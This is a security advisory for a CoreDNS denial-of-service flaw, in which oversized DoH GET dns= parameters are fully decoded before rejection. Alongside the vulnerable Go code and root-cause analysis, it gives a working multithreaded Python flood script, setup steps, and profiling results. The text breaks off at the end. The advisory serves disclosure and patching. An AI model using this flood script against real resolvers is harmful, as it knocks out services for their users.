GHSA-63cw-r7xf-jmwr CoreDNS DoH GET oversized dns= query parameter causes pre-validation CPU and memory amplification

• Go github.com/coredns/coredns: < 1.14.3 → fixed in 1.14.3

Summary CoreDNS's DNS-over-HTTPS (DoH) GET path accepts oversized `dns=` query values and performs substantial request parsing, query unescaping, base64 decoding, and message unpacking work before returning `400 Bad Request`. A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to `/dns-query?dns=...` and force high CPU usage, large transient allocations, elevated garbage-collection pressure, and increased resident memory consumption even though the requests are ultimately rejected. This is a denial-of-service issue caused by expensive pre-validation processing on the DoH GET path. Details The vulnerable flow is in `plugin/pkg/doh/doh.go`: • `RequestToMsg()` dispatches GET requests to `requestToMsgGet()`: • `plugin/pkg/doh/doh.go:79-89` • `requestToMsgGet()` calls `req.URL.Query()`, extracts `dns`, and passes it directly to `base64ToMsg()`: • `plugin/pkg/doh/doh.go:99-108` • `base64ToMsg()` decodes the full attacker-controlled value via `b64Enc.DecodeString()` and only then attempts to unpack it into a DNS message: • `plugin/pkg/doh/doh.go:121-130` Relevant snippet: ```go func requestToMsgGet(req *http.Request) (*dns.Msg, error) { values := req.URL.Query() b64, ok := values["dns"] if !ok { return nil, fmt.Errorf("no 'dns' query parameter found") } if len(b64) != 1 { return nil, fmt.Errorf("multiple 'dns' query values found") } return base64ToMsg(b64[0]) } func base64ToMsg(b64 string) (*dns.Msg, error) { buf, err := b64Enc.DecodeString(b64) if err != nil { return nil, err } m := new(dns.Msg) err = m.Unpack(buf) return m, err } ```` By contrast, the POST path applies a bounded read before unpacking: ```go func toMsg(r io.ReadCloser) (*dns.Msg, error) { buf, err := io.ReadAll(http.MaxBytesReader(nil, r, 65536)) if err != nil { return nil, err } m := new(dns.Msg) err = m.Unpack(buf) return m, err } ``` So, POST is explicitly size-bounded, while GET is not equivalently bounded before expensive parsing and decoding work occurs. In addition, the HTTPS server is created in `core/dnsserver/server_https.go:87-92` without an explicit early GET-path size guard in this path: ```go srv := &http.Server{ ReadTimeout: s.ReadTimeout, WriteTimeout: s.WriteTimeout, IdleTimeout: s.IdleTimeout, ErrorLog: stdlog.New(&loggerAdapter{}, "", 0), } ``` As a result, oversized DoH GET request targets are processed through: 1. HTTP request-line parsing 2. URL query parsing / unescaping 3. DoH GET extraction 4. base64 decoding 5. DNS message unpacking before the request is rejected. Root cause The root cause is missing early size validation on the DoH GET path. More specifically: • `requestToMsgGet()` performs `req.URL.Query()` on attacker-controlled oversized request targets. • The extracted `dns` value is passed to `base64ToMsg()` without an encoded-length or decoded-length bound. • `base64ToMsg()` fully decodes the attacker-controlled string before any DNS-size rejection. • The POST path already has an explicit bounded read, but GET does not have an equivalent pre-decode bound. This creates a pre-validation resource-amplification path for DoH GET. PoC Local test setup I reproduced this locally against CoreDNS 1.14.2 over HTTPS with `pprof` enabled. Create a self-signed certificate: ```bash openssl req -x509 -newkey rsa:2048 -sha256 -days 1 -nodes \ -keyout key.pem -out cert.pem \ -subj "/CN=127.0.0.1" ``` Create this `Corefile`: ```txt https://127.0.0.1:8443 { whoami log errors tls cert.pem key.pem pprof 127.0.0.1:6060 } ``` Run CoreDNS: ```bash ./coredns -conf Corefile ``` Proof-of-concept script ```python !/usr/bin/env python3 import argparse import base64 import collections import concurrent.futures import http.client import ssl import time def send_one(host, port, path, timeout): ctx = ssl._create_unverified_context() conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx) try: conn.request("GET", path, headers={ "Accept": "application/dns-message", "Connection": "close", }) resp = conn.getresponse() resp.read() return resp.status except Exception as e: return f"ERR:{type(e).__name__}" finally: try: conn.close() except Exception: pass def main(): ap = argparse.ArgumentParser() ap.add_argument("--host", default="127.0.0.1") ap.add_argument("--port", type=int, default=8443) ap.add_argument("--decoded-kib", type=int, default=720) ap.add_argument("--workers", type=int, default=64) ap.add_argument("--requests", type=int, default=5000) ap.add_argument("--timeout", type=float, default=5.0) args = ap.parse_args() raw = b"A" * (args.decoded_kib * 1024) b64 = base64.urlsafe_b64encode(raw).rstrip(b"=").decode() path = "/dns-query?dns=" + b64 print(f"[+] target = https://{args.host}:{args.port}") print(f"[+] decoded bytes = {len(raw):,}") print(f"[+] encoded chars = {len(b64):,}") print(f"[+] request-target length = {len(path):,}") print(f"[+] workers = {args.workers}, requests = {args.requests}") print("[+] 400 responses are expected; the issue is expensive processing before rejection.\n") started = time.time() results = collections.Counter() with concurrent.futures.ThreadPoolExecutor(max_workers=args.workers) as ex: futs = [ ex.submit(send_one, args.host, args.port, path, args.timeout) for _ in range(args.requests) ] for i, fut in enumerate(concurrent.futures.as_completed(futs), 1): results[fut.result()] += 1 if i % 10 == 0 or i == args.requests: print(f"[{i}/{args.requests}] {dict(results)}") elapsed = time.time() - started print("\n[+] done") print(f"[+] elapsed = {elapsed:.2f}s") print(f"[+] summary = {dict(results)}") if __name__ == "__main__": main() ``` Run the PoC: ```bash python3 poc_doh_get_oversize_https.py \ --host 127.0.0.1 \ --port 8443 \ --decoded-kib 720 \ --workers 64 \ --requests 5000 ``` Profiling commands used during reproduction CPU profile: ```bash (curl -s "http://127.0.0.1:6060/debug/pprof/profile?seconds=20" -o cpu_attack.pb.gz &) ; \ sleep 1 ; \ python3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000 ; \ wait go tool pprof -top ./coredns cpu_attack.pb.gz ``` Heap / allocation profiles: ```bash curl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_before.pb.gz curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_before.pb.gz python3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000 curl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_after.pb.gz curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_after.pb.gz go tool pprof -top -base heap_before.pb.gz ./coredns heap_after.pb.gz go tool pprof -top -base allocs_before.pb.gz ./coredns allocs_after.pb.gz ``` Reproduction results I confirmed the issue on: • CoreDNS 1.14.2 • linux/amd64 • go1.26.1 PoC payload characteristics: • decoded payload size: `737,280 bytes` • base64url-encoded `dns` length: `983,040` • request-target length: `983,055` Observed request outcome: • `5000 / 5000` requests returned `400 Bad Request` • total runtime for the 5000-request run: `18.22s` The important point is that the requests are rejected only after expensive processing has already happened. CPU profile highlights The CPU profile captured during the attack showed significant time in: • `net/http.readRequest` • `net/url.ParseQuery` / `net/url.QueryUnescape` / `net/url.unescape` • `github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet` • `github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg` • `encoding/base6…